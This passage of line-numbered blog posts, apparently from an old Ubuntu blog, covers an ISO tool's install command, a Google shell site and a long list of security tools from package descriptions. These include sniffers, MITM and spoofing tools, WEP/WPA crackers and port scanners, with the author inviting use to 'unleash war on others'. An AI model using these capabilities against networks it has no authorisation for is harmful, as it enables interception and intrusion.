with Kaffeine / VLC / SMplayer with auto-cover download from Amazon [126002290120] |- Generate an ISO from a Folder or CD/DVD [126002290130] |- Check MD5 file of an image and/or generate it to a text file [126002290140] |- Encrypt / Decrypt an image [126002290150] |- Split / Merge image in X megabyte [126002290160] |- Compress with High Ratio an image in 7z format [126002290170] |- Rip a PSX cd to *.bin to make it work with epsxe/psx emulators [126002290180] |- Restore a lost CUE file of *.bin *.img [126002290190] |- Convert Mac OS *.dmg to a mountable image [126002290200] |- El-Torito support to create ISO bootable Cd [126002290210] |- Mount an image in a specified folder from the user [126002290220] |- Supports UDF ISO filesystem images [126002290230] |- Create a database of images to manage big collections [126002290240] |- Extract the Boot Image file of a CD/DVD or ISO [126002290250] |- Backup a CD-Audio to a *.bin image [126002290260] |- Service Menu for Konqueror and D3lphin [126002290270] |- Complete localization for English, Italian, French, Spanish, Polish and much more! [126002290280] |- Quick and simple utility to Rip a DVD to Xvid AVI [126002290290] |- Quick and simple utility to convert a generic video (avi, mpeg, mov, wmv, asf) to Xvid AVI [126002290300] |- Quick and simple utility to convert a FLV video to AVI [126002290310] |- Utility to download videos from Youtube! [126002290320] |Sound like something worth checking out? [126002290330] |Lets install it! [126002290340] |Copy/paste the following in the terminal via Applications->Accessories->Terminal [126002290350] |wget http://internap.dl.sourceforge.net/sourceforge/acetoneiso2/acetoneiso2_20080508-1_i386.deb ; sudo dpkg -i acetoneiso2_20080508-1_i386.deb [126002290360] |Now you can access AcetoneISO via Applications->Accessories->AcetoneISO2 [126002300010] |Introducing the Unofficial Google command shell! [126002300020] |Do you love google search like I do? [126002300030] |And have love for the terminal as well? [126002300040] |I just stumbled across this interesting and fun new site called GooSH that streamlines searching google in a nice unix shell interface. [126002300050] |Check it out HereHere are your command Options:guest@goosh.org:/web> helphelp command aliases parameters functionweb (search,s,w) [keywords] google web searchlucky (l) [keywords] go directly to first resultimages (image,i) [keywords] google image searchwiki (wikipedia) [keywords] wikipedia searchclear (c) clear the screenhelp (man,h,?) [command] displays help textnews (n) [keywords] google news searchblogs (blog,b) [keywords] google blog searchfeeds (feed,f) [keywords] google feed searchopen (o) < url >open url in new windowgo (g) < url >open urlmore (m) get more resultsin (site) < url > search in a specific websiteload < extension_url >load an extensionvideo (videos,v) [keywords] google video searchread (rss,r) < url >read feed of urlplace (places,map,p) [address] google maps searchlang change languageaddengine add goosh to firefox search boxtranslate (trans,t) [lang1] [lang2] < words >google translationguest@goosh.org:/web> [126002310010] |The Top Security Tools in the Ubuntu Repositories you may not know about with 1 click Installation! [126002310020] |Here is a collection of security tools that you should look through to add to your arsenal to help keep the peace on your pc/network or unleash war on others for whatever reason. [126002310030] |You can simply install these tools by clicking on the title within firefox in Ubuntu Hardy Heron. [126002310040] |Most of these are command line tools which need to be invoked via the Terminal:Applications->Accessories->Terminal [126002310050] |If you need help with these tools, please read the manual via man "application" in the terminal, and feel free to comment if you need a little assistance or care to add to this growing list [126002310060] |Sniffers: [126002310070] |dsniffVarious tools to sniff network traffic for cleartext insecuritiesThis package contains several tools to listen to and create network traffic: [126002310080] |* arpspoof - Send out unrequested (and possibly forged) arp replies. [126002310090] |* dnsspoof - forge replies to arbitrary DNS address / pointer queries on the Local Area Network. [126002310100] |* dsniff - password sniffer for several protocols. [126002310110] |* filesnarf - saves selected files sniffed from NFS traffic. [126002310120] |* macof - flood the local network with random MAC addresses. [126002310130] |* mailsnarf - sniffs mail on the LAN and stores it in mbox format. [126002310140] |* msgsnarf - record selected messages from different Instant Messengers. [126002310150] |* sshmitm - SSH monkey-in-the-middle. proxies and sniffs SSH traffic. [126002310160] |* sshow - SSH traffic analyser. [126002310170] |* tcpkill - kills specified in-progress TCP connections. [126002310180] |* tcpnice - slow down specified TCP connections via "active" traffic shaping. [126002310190] |* urlsnarf - output selected URLs sniffed from HTTP traffic in CLF. [126002310200] |* webmitm - HTTP / HTTPS monkey-in-the-middle. transparently proxies. [126002310210] |* webspy - sends URLs sniffed from a client to your local browser (requires libx11-6 installed). [126002310220] |Please do not abuse this software. [126002310230] |- [126002310240] |imsniffSimple program to log Instant Messaging activity on the networkThe imsniff program can be used to log IM activity on the network. [126002310250] |It useslibpcap to capture packets and analyzes them, logging conversation, contactlists, etc. [126002310260] |Users connecting after imsniff is started can get pretty good results,including complete contact lists and events (displaying a name change, forexample). [126002310270] |Users already connected will be able to get the conversations, butwill miss the other information. [126002310280] |The only required parameter is the interface name to listen to. [126002310290] |This can beany interface that libpcap supports. [126002310300] |A sample imsniff.conf.sample file isincluded. [126002310310] |imsniff is beta software, for now, only MSN is supported. [126002310320] |Others could follow. [126002310330] |Author: Carlos Fernandez [126002310340] |- [126002310350] |ksniffernetwork traffic analyzer for KDEKSniffer is a network traffic analyzer, or "sniffer" for KDE. [126002310360] |A sniffer is a tool used to capture packets from your network. [126002310370] |it detects network protocols like IP, TCP, UDP, ICMP and ARP. [126002310380] |- [126002310390] |nwatch [126002310400] |Network service detectorNWatch is a sniffer but can be conceptualized as a "passive portscanner", in that it is only interested in IP traffic and it organizesresults as a port scanner would. [126002310410] |The advantage of this tool is that services that are open for a shortperiod of time can be detected with NWatch while successive nmap scanswill miss them. [126002310420] |The disadvantage is that the service have to be activelyused to be detected. [126002310430] |- [126002310440] |scapy [126002310450] |Scapy is a powerful interactive packet manipulation tool, packetgenerator, network scanner, network discovery, packet sniffer, etc. [126002310460] |Itcan for the moment replace hping, 85% of nmap, arpspoof, arp-sk, arping,tcpdump, tethereal, p0f, .... [126002310470] |In scapy you define a set of packets, then it sends them, receivesanswers, matches requests with answers and returns a list of packet couples(request, answer) and a list of unmatched packets. [126002310480] |This has the big advantageover tools like nmap or hping that an answer is not reduced to(open/closed/filtered), but is the whole packet. [126002310490] |Homepage: http://www.secdev.org/projects/scapy/ [126002310500] |It was previously named scapy. [126002310510] |This is a transitional packageso scapy users get python-scapy on upgrades. [126002310520] |This package handlesscapy -> python-scapy. [126002310530] |It can be safely removed. [126002310540] |- [126002310550] |Snort [126002310560] |Flexible Network Intrusion Detection SystemSnort is a libpcap-based packet sniffer/logger which can be used as alightweight network intrusion detection system. [126002310570] |It features rulesbased logging and can perform content searching/matching in additionto being used to detect a variety of other attacks and probes, suchas buffer overflows, stealth port scans, CGI attacks, SMB probes, andmuch more. [126002310580] |Snort has a real-time alerting capability, with alerts beingsent to syslog, a separate "alert" file, or even to a Windows computervia Samba. [126002310590] |This package provides the plain-vanilla snort distribution and does notprovide database (available in snort-pgsql and snort-mysql) support. [126002310600] |- [126002310610] |tcpickTCP stream sniffer and connection trackerThis libpcap-based textmode sniffer can: [126002310620] |* track, reassemble and reorder TCP streams [126002310630] |* save the captured flows in different files or display them in the terminal [126002310640] |* display all the stream on the terminal with different display modes likehexdump, hexdump + ascii, only printable characters, raw mode, colorizedmode ... [126002310650] |* handle several network interface types, including ethernet cards and PPPinterfaces [126002310660] |-Tshark [126002310670] |Wireshark network traffic analyzer (console interface)Wireshark is a network traffic analyzer, or "sniffer", for Unix andUnix-like operating systems. [126002310680] |A sniffer is a tool used to capturepackets off the wire. [126002310690] |Wireshark decodes numerous protocols (too manyto list). [126002310700] |This package provides the console version of wireshark, named"tshark". [126002310710] |- [126002310720] |WireSharknetwork traffic analyzerWireshark is a network traffic analyzer, or "sniffer", for Unix andUnix-like operating systems. [126002310730] |A sniffer is a tool used to capturepackets off the wire. [126002310740] |Wireshark decodes numerous protocols (too manyto list). [126002310750] |This package provides wireshark (the GTK+ version) [126002310760] |-Last But not least for the sniffers is my personal fav:EttercapMultipurpose sniffer/interceptor/logger for switched LANEttercap supports active and passive dissection of many protocols(even ciphered ones) and includes many feature for network and hostanalysis. [126002310770] |Data injection in an established connection and filtering (substituteor drop a packet) on the fly is also possible, keeping the connectionsynchronized. [126002310780] |Many sniffing modes were implemented to give you a powerful and completesniffing suite. [126002310790] |It's possible to sniff in four modes: IP Based, MAC Based,ARP Based (full-duplex) and PublicARP Based (half-duplex). [126002310800] |It has the ability to check whether you are in a switched LAN ornot, and to use OS fingerprints (active or passive) to let you know thegeometry of the LAN. [126002310810] |Wireless Tools: [126002310820] |aircrack-ngGrab the latest @ www.aircrack-ng.comwireless WEP/WPA cracking utilitiesaircrack-ng is an 802.11a/b/g WEP/WPA cracking program that can recover a40-bit, 104-bit, 256-bit or 512-bit WEP key once enough encrypted packets havebeen gathered. [126002310830] |Also it can attack WPA1/2 networks with some advancedmethods or simply by brute force. [126002310840] |It implements the standard FMS attack along with some optimizations,thus making the attack much faster compared to other WEP cracking tools. [126002310850] |It can also fully use a multiprocessor system to its full power in orderto speed up the cracking process. [126002310860] |aircrack-ng is a fork of aircrack, as that project has been stopped bythe upstream maintainer. [126002310870] |- [126002310880] |KismetWireless 802.11b monitoring toolKismet is a 802.11b wireless network sniffer. [126002310890] |It is capable of sniffingusing almost any supported wireless card using the Airo, HostAP, Wlan-NG,and Orinoco (with a kernel patch) drivers. [126002310900] |Can make use of sox and festival to play audio alarms for network eventsand speak out network summary on discovery. [126002310910] |Optionally works with gpsdto map scanning. [126002310920] |-PrismstumblerWireless network snifferPrismstumbler is a packet sniffer for 802.11b wireless LANs. [126002310930] |-SWScannerSimple Wireless ScannerSWScanner is a KDE application specially designed to make easy the wholewardriving process, but also intended to facilitate many tasks relatedto wireless networks. [126002310940] |SWScanner is compatible with NetStumbler files andsupports GPS devices. [126002310950] |- [126002310960] |WEPLabtool designed to break WEP keysWepLab is a tool designed to teach how WEP works, what differentvulnerabilities it has, and how they can be used in practice tobreak a WEP protected wireless network. [126002310970] |WepLab can dump network traffic, analyse it or crack the WEP key. [126002310980] |- [126002310990] |Portscanning:NMAPThe Network MapperNmap is a utility for network exploration or security auditing. [126002311000] |Itsupports ping scanning (determine which hosts are up), many portscanning techniques, version detection (determine service protocolsand application versions listening behind ports), and TCP/IPfingerprinting (remote host OS or device identification). [126002311010] |Nmap alsooffers flexible target and port specification, decoy/stealth scanning,sunRPC scanning, and more. [126002311020] |Most Unix and Windows platforms aresupported in both GUI and commandline modes. [126002311030] |Several popular handhelddevices are also supported, including the Sharp Zaurus and the iPAQ. [126002311040] |- [126002311050] |PnScanMulti threaded port scannerPnscan is a multi threaded port scanner that can scan a large networkvery quickly. [126002311060] |If does not have all the features that nmap have butis much faster. [126002311070] |- [126002311080] |DoScanport scanner for discovering services on large networksdoscan is a tool to discover TCP services on your network. [126002311090] |It isdesigned for scanning a single ports on a large network. doscancontacts many hosts in parallel, using standard TCP sockets providedby the operating system. [126002311100] |It is possible to send strings to remotehosts, and collect the banners they return. [126002311110] |There are better tools for scanning many ports on a small set ofhosts, for example nmap. [126002311120] |-HPING3Active Network Smashing Toolhping3 is a network tool able to send custom ICMP/UDP/TCP packets andto display target replies like ping does with ICMP replies. [126002311130] |It handlesfragmentation and arbitrary packet body and size, and can be used totransfer files under supported protocols. [126002311140] |Using hping3, you can testfirewall rules, perform (spoofed) port scanning, test networkperformance using different protocols, do path MTU discovery, performtraceroute-like actions under different protocols, fingerprint remoteoperating systems, audit TCP/IP stacks, etc. hping3 is scriptableusing the TCL language. [126002311150] |-PakettoUnusual TCP/IP testing toolsThe Paketto Keiretsu is a collection of tools that use new and unusualstrategies for manipulating TCP/IP networks. scanrand is said to befaster than nmap and more useful in some scenarios. [126002311160] |This package includes: [126002311170] |* scanrand, a very fast port, host, and network trace scanner [126002311180] |* minewt, a user space NAT/MAT (MAC Address Translation) gateway [126002311190] |* linkcat(lc), that provides direct access to the network (Level 2) [126002311200] |* paratrace, a "traceroute"-like tool using existing TCP connections [126002311210] |* phentropy, that plots a large data source onto a 3D matrix [126002311220] |- [126002311230] |PackitNetwork Injection and CapturePackit is a network auditing tool. [126002311240] |Its value is derived from its abilityto customize, inject, monitor, and manipulate IP traffic. [126002311250] |By allowing youto define (spoof) nearly all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernetheader options, Packit can be useful in testing firewalls, intrusiondetection systems, port scanning, simulating network traffic, and generalTCP/IP auditing. [126002311260] |Packit is also an excellent tool for learning TCP/IP. [126002311270] |- [126002311280] |ScanSSHget SSH server versions for an entire networkThe ScanSSH protocol scanner scans a list of addresses and networks forrunning SSH protocol servers and their version numbers. [126002311290] |Version 2.0 addssupport for scanning arbitrary ports and specifically open proxies. [126002311300] |TheScanSSH protocol scanner supports random selection of IP addresses fromlarge network ranges and is useful for gathering statistics on thedeployment of SSH protocol servers in a company or the Internet as whole. [126002311310] |-p0fPassive OS fingerprinting toolp0f performs passive OS detection based on SYN packets. [126002311320] |Unlike nmapand queso, p0f does recognition without sending any data. [126002311330] |Additionally, it is able to determine the distance to the remotehost, and can be used to determine the structure of a foreign orlocal network. [126002311340] |When running on the gateway of a network it is ableto gather huge amounts of data and provide useful statistics. [126002311350] |On auser-end computer it could be used as powerful IDS add-on. p0fsupports full tcpdump-style filtering expressions, and has anextensible and detailed fingerprinting database. [126002311360] |- [126002311370] |Misc Tools:TCPTracerouteA traceroute implementation using TCP packetsThe more traditional traceroute(8) sends out either UDP or ICMP ECHOpackets with a TTL of one, and increments the TTL until the destinationhas been reached. [126002311380] |By printing the gateways that generate ICMP timeexceeded messages along the way, it is able to determine the path packetsare taking to reach the destination. [126002311390] |The problem is that with the widespread use of firewalls on the modernInternet, many of the packets that traceroute(8) sends out end up beingfiltered, making it impossible to completely trace the path to thedestination. [126002311400] |However, in many cases, these firewalls will permit inboundTCP packets to specific ports that hosts sitting behind the firewall arelistening for connections on. [126002311410] |By sending out TCP SYN packets instead ofUDP or ICMP ECHO packets, tcptraceroute is able to bypass the most commonfirewall filters. [126002311420] |TracerouteTraces the route taken by packets over an IPv4/IPv6 networkThe traceroute utility displays the route used by IP packets on their way to aspecified network (or Internet) host. [126002311430] |Traceroute displays the IP number andhost name (if possible) of the machines along the route taken by the packets. [126002311440] |Traceroute is used as a network debugging tool. [126002311450] |If you're having networkconnectivity problems, traceroute will show you where the trouble is comingfrom along the route. [126002311460] |Install traceroute if you need a tool for diagnosing network connectivityproblems. [126002311470] |Homepage: [126002311480] |Whoisthe GNU whois clientThis is a new whois (RFC 3912) client rewritten from scratch. [126002311490] |It is inspired from and compatible with the usual BSD and RIPE whois(1)programs. [126002311500] |It is intelligent and can automatically select the appropriate whoisserver for most queries. [126002311510] |The package also contains mkpasswd, a simple front end to crypt(3). [126002311520] |- [126002311530] |Rootkit Detection: [126002311540] |ChkrootkitChecks for signs of rootkits on the local systemchkrootkit identifies whether the target computer is infected with a rootkit. [126002311550] |Some of the rootkits that chkrootkit identifies are:1. lrk3, lrk4, lrk5, lrk6 (and some variants);2. [126002311560] |Solaris rootkit;3. [126002311570] |FreeBSD rootkit;4. t0rn (including latest variant);5. Ambient's Rootkit for Linux (ARK);6. [126002311580] |Ramen Worm;7. rh[67]-shaper;8. [126002311590] |RSHA;9. [126002311600] |Romanian rootkit;10. [126002311610] |RK17;11. [126002311620] |Lion Worm;12. [126002311630] |Adore Worm. [126002311640] |Please note that this is not a definitive test, it does not ensure that thetarget has not been cracked. [126002311650] |In addition to running chkrootkit, one shouldperform more specific tests. [126002311660] |- [126002311670] |RkHunterrootkit, backdoor, sniffer and exploit scannerRootkit Hunter scans systems for known and unknown rootkits,backdoors, sniffers and exploits. [126002311680] |It checks for: [126002311690] |- MD5 hash changes; [126002311700] |- files commonly created by rootkits; [126002311710] |- executables with anomalous file permissions; [126002311720] |- suspicious strings in kernel modules; [126002311730] |- hidden files in system directories;and can optionally scan within files. [126002311740] |Using rkhunter alone does not guarantee that a system is notcompromised. [126002311750] |Running additional tests, such as chkrootkit, isrecommended. [126002311760] |- [126002311770] |UnHideForensic tool to find hidden processes and portsUnhide is a forensic tool to find processes and TCP/UDP ports hidden byrootkits, Linux kernel modules or by other techniques. [126002311780] |It includes twoutilities: unhide and unhide-tcp. [126002311790] |unhide detects hidden processes using three techniques: [126002311800] |- comparing the output of /proc and /bin/ps [126002311810] |- comparing the information gathered from /bin/ps with the one gatheredfrom system calls (syscall scanning) [126002311820] |- full scan of the process ID space (PIDs bruteforcing) [126002311830] |unhide-tcp identifies TCP/UDP ports that are listening but are not listed in/bin/netstat through brute forcing of all TCP/UDP ports available. [126002311840] |This package can be used by rkhunter in its daily scans. [126002311850] |- [126002311860] |Secure Erase:wipeSecure file deletionRecovery of supposedly erased data from magnetic media is easier than what manypeople would like to believe. [126002311870] |A technique called Magnetic Force Microscopy(MFM) allows any moderately funded opponent to recover the last two or threelayers of data written to disk. [126002311880] |Wipe repeatedly writes special patterns to thefiles to be destroyed, using the fsync() call and/or the O_SYNC bit to forcedisk access. [126002311890] |- [126002311900] |Undelete/Recovery: [126002311910] |ForemostForensics application to recover dataThis is a console program to recover files based on their headers andfooters for forensics purposes. [126002311920] |Foremost can work on disk image files, such as those generated by dd,Safeback, Encase, etc, or directly on a drive. [126002311930] |The headers and footersare specified by a configuration file, so you can pick and choose whichheaders you want to look for. [126002311940] |- [126002311950] |e2undelUndelete utility for the ext2 file systemInteractive console tool to recover the data of deleted files onan ext2 file system under Linux. [126002311960] |It does not require knowledgeabout how ext2 file systems works and should be usable bymost people. [126002311970] |This tools searches all inodes marked as deleted on a file system andlists them as sorted by owner and time of deletion. [126002311980] |Additionally,it gives you the file size and tries to determine the file type inthe way file(1) does. [126002311990] |If you did not just delete a whole bunch offiles with a 'rm -r *', this information should be helpful to findout which of the deleted files you would like to recover. [126002312000] |E2undel will not work on ext3 (journaling) filesystems. [126002312010] |Homepage: http://e2undel.sourceforge.net [126002312020] |- [126002312030] |RecoverUndelete files on ext2 partitionsRecover automates some steps as described in the ext2-undeletionhowto. [126002312040] |This means it seeks all the deleted inodes on your hard drivewith debugfs. [126002312050] |When all the inodes are indexed, recover asks you somequestions about the deleted file. [126002312060] |These questions are: [126002312070] |* Hard disk device name [126002312080] |* Year of deletion [126002312090] |* Month of deletion [126002312100] |* Weekday of deletion [126002312110] |* First/Last possible day of month [126002312120] |* Min/Max possible file size [126002312130] |* Min/Max possible deletion hour [126002312140] |* Min/Max possible deletion minute [126002312150] |* User ID of the deleted file [126002312160] |* A text string the file included (can be ignored) [126002312170] |If recover found any fitting inodes, it asks to give a directory nameand dumps the inodes into the directory. [126002312180] |Finally it asks you if youwant to filter the inodes again (in case you typed some wronganswers). [126002312190] |Note that recover works only with ext2 filesystems - it does not supportext3. [126002312200] |http://recover.sourceforge.net/linux/recover/ [126002312210] |- [126002312220] |Port Scan Detection: [126002312230] |PSADThe Port Scan Attack DetectorPSAD is a collection of four lightweight system daemons written inPerl and in C that is designed to work with Linux firewalling code(iptables in the 2.4.x kernels, and ipchains in the 2.2.x kernels)to detect port scans. [126002312240] |It features a set of highly configurable dangerthresholds (with sensible defaults provided), verbose alert messagesthat include the source, destination, scanned port range, begin andend times, tcp flags and corresponding nmap options (Linux 2.4.xkernels only), reverse DNS info, email alerting, and automaticblocking of offending ip addresses via dynamic configuration ofipchains/iptables firewall rulesets. [126002312250] |In addition, for the 2.4.x kernels psad incorporates manyof the tcp signatures included in Snort to detect highly suspect scansfor: [126002312260] |* various backdoor programs (e.g. EvilFTP, GirlFriend, SubSeven) [126002312270] |* DDoS tools (mstream, shaft) [126002312280] |* advanced port scans (syn, fin, xmas) such as those made with nmap [126002312290] |Homepage: http://www.cipherdyne.org/ [126002312300] |-PortSentryPortscan detection daemonPortSentry has the ability to detect portscans(including stealth scans) onthe network interfaces of your machine. [126002312310] |Upon alarm it can block theattacker via hosts.deny, dropped route or firewall rule. [126002312320] |It is part of theAbacus program suite. [126002312330] |Note: If you have no idea what a port/stealth scan is, It's recommended tohave a look at http://sf.net/projects/sentrytools/ before installing thispackage. [126002312340] |Otherwise you might easily block hosts you'd better not (e.g. yourNFS-server, name-server, etc.). [126002312350] |- [126002312360] |SnortFlexible Network Intrusion Detection SystemSnort is a libpcap-based packet sniffer/logger which can be used as alightweight network intrusion detection system. [126002312370] |It features rulesbased logging and can perform content searching/matching in additionto being used to detect a variety of other attacks and probes, suchas buffer overflows, stealth port scans, CGI attacks, SMB probes, andmuch more. [126002312380] |Snort has a real-time alerting capability, with alerts beingsent to syslog, a separate "alert" file, or even to a Windows computervia Samba. [126002312390] |This package provides the plain-vanilla snort distribution and does notprovide database (available in snort-pgsql and snort-mysql) support. [126002312400] |- [126002312410] |Privilege escalation detection:NinjaNinja is a privilege escalation detection and preventionsystem for GNU/Linux hosts. [126002312420] |While running, it will monitorprocess activity on the local host, and keep track of allprocesses running as root. [126002312430] |If a process is spawned withUID or GID zero (root), ninja will log necessary informationabout this process, and optionally kill the processif it was spawned by an unauthorized user. [126002312440] |A "magic" group can be specified, allowing members of thisgroup to run any setuid/setgid root executable. [126002312450] |Individual executables can be whitelisted. [126002312460] |Ninja uses afine grained whitelist that lets you whitelist executableson a group and/or user basis. [126002312470] |This can be used to allowspecific groups or individual users access to setuid/setgidroot programs, such as su(1) and passwd(1). [126002312480] |Homepage: http://forkbomb.org/ninja [126002312490] |Filesystem Integrity: [126002312500] |AideAdvanced Intrusion Detection Environment - static binaryAIDE is an intrusion detection system that detects changes to files onthe local system. [126002312510] |It creates a database from the regular expression rulesthat it finds from the config file. [126002312520] |Once this database is initializedit can be used to verify the integrity of the files. [126002312530] |It has severalmessage digest algorithms (md5, sha1, rmd160, tiger, haval, etc.) that areused to check the integrity of the file. [126002312540] |More algorithms can be addedwith relative ease. [126002312550] |All of the usual file attributes can also be checkedfor inconsistencies. [126002312560] |This package contains the statically linked binary for "normal"systems. [126002312570] |You will almost certainly want to tweak the configuration file in/etc/aide/aide.conf or drop your own config snippets into/etc/aide/aide.conf.d. [126002312580] |Upstream URL: http://sourceforge.net/projects/aide [126002312590] |- [126002312600] |IntegritA file integrity verification programIntegrit helps you determine whether an intruder has modified yoursystem. [126002312610] |Without the use of integrit, a sysadmin wouldn't know if theprograms used for investigating the system are trojan horses or not. [126002312620] |Integrit works by creating a database that is a snapshot of the mostessential parts of the system. [126002312630] |You put the database somewhere safe,and then later you can use it to make sure that no one has made anyillicit modifications to your file system. [126002312640] |Integrit's key features are the small memory footprint, the designwith unattended use in mind, intuitive cascading rulesets for thepaths listed in the configuration file, the possibility of XML orhuman-readable output, and simultaneous checks and updates. [126002312650] |See http://integrit.sourceforge.net/ for more information. [126002312660] |- [126002312670] |DebsumsVerify installed package files against MD5 checksums.debsums can verify the integrity of installed package files againstMD5 checksums installed by the package, or generated from a .debarchive. [126002312680] |- [126002312690] |FcheckIDS filesystem baseline integrity checkerThe fcheck utility is an IDS (Intrusion Detection System)which can be used to monitor changes to any given filesystem. [126002312700] |Essentially, fcheck has the ability to monitor directories, filesor complete filesystems for any additions, deletions, and modifications. [126002312710] |It is configurable to exclude active log files, and can be ran as oftenas needed from the command line or cron making it extremely difficult tocircumvent. [126002312720] |- [126002312730] |SamHainData integrity and host intrusion alert systemSamhain is an integrity checker and host intrusion detection system thatcan be used on single hosts as well as large, UNIX-based networks. [126002312740] |It supports central monitoring as well as powerful (and new) stealthfeatures to run undetected on memory using steganography. [126002312750] |Main features [126002312760] |* Complete integrity check + uses cryptographic checksums of files to detect modifications, + can find rogue SUID executables anywhere on disk, and [126002312770] |* Centralized monitoring + native support for logging to a central server via encrypted and authenticated connections [126002312780] |* Tamper resistance + database and configuration files can be signed + logfile entries and e-mail reports are signed + support for stealth operation [126002312790] |Homepage: http://la-samhna.de/samhain/index.html [126002312800] |- [126002312810] |SleuthKitTools for forensics analysisThe Sleuth Kit (previously known as TASK) is a collection of UNIX-basedcommand line file system and media management forensic analysis tools. [126002312820] |The file system tools allow you to examine file systems of a suspectcomputer in a non-intrusive fashion. [126002312830] |Because the tools do not rely onthe operating system to process the file systems, deleted and hiddencontent is shown. [126002312840] |The media management tools allow you to examine the layout of disks andother media. [126002312850] |The Sleuth Kit supports DOS partitions, BSD partitions(disk labels), Mac partitions, and Sun slices (Volume Table ofContents). [126002312860] |With these tools, you can identify where partitions arelocated and extract them so that they can be analyzed with file systemanalysis tools. [126002312870] |When performing a complete analysis of a system, we all know thatcommand line tools can become tedious. [126002312880] |The Autopsy Forensic Browser isa graphical interface to the tools in The Sleuth Kit, which allows youto more easily conduct an investigation. [126002312890] |Autopsy provides casemanagement, image integrity, keyword searching, and other automatedoperations. [126002312900] |The Sleuth Kit's upstream homepage can be found athttp://www.sleuthkit.org/sleuthkit/. [126002312910] |- [126002312920] |StealthA stealthy File Integrity CheckerThe STEALTH program performs File Integrity Checks on (remote) clients. [126002312930] |Itdiffers from other File Integrity Checkers by not requiring baselineintegrity data to be kept on either write-only media or in the client's filesystem. [126002312940] |In fact, client's will contain hardly any indication at all that theyare being monitored, thus improving the stealthiness of the integrity scans. [126002312950] |STEALTH uses standard available software to perform file integrity checks(like find(1) and md5sum(1)). [126002312960] |Using individualized policy files, it is highlyadaptable to the specific requirements of its clients. [126002312970] |In production environments STEALTH should be run from an isolated computer(called the `STEALTH monitor'). [126002312980] |In optimal configurations the STEALTHmonitor should be a computer not accepting incoming connections. [126002312990] |The accountused to connect to its clients does not have to be `root': usuallyread-access to the client's file system is enough to perform a full integritycheck. [126002313000] |Instead of using `root' a more restrictive administrative orordinary account might offer all requirements for the desired integritycheck. [126002313010] |STEALTH itself must communicate with the computers it should monitor. [126002313020] |It isessential that this communication is secure, and STEALTH configurations willtherefore normally specify SSH as the command-shell to use to connect to itsclients. [126002313030] |STEALTH may be configured so as to use but one SSH connection perclient, even if integrity scans are to be performed repeatedly. [126002313040] |Apart fromthis, the STEALTH monitor might be allowed to send e-mail to remote clientssystem's maintainers. [126002313050] |STEALTH-runs itself may start randomly within specified intervals. [126002313060] |Theresulting unpredicability of STEALTH-runs further increases STEALTH'sstealthiness. [126002313070] |STEALTH's acronym is expanded to `Ssh-based Trust Enforcement Acquiredthrough a Locally Trusted Host': the client's trust is enforced, the locallytrusted host is the STEALTH monitor. [126002313080] |- [126002313090] |TripWirefile and directory integrity checkerTripwire is a tool that aids system administrators and users inmonitoring a designated set of files for any changes. [126002313100] |Used withsystem files on a regular (e.g., daily) basis, Tripwire can notifysystem administrators of corrupted or tampered files, so damagecontrol measures can be taken in a timely manner. [126002313110] |Have anything else worth mentioning? [126002313120] |Please leave a comment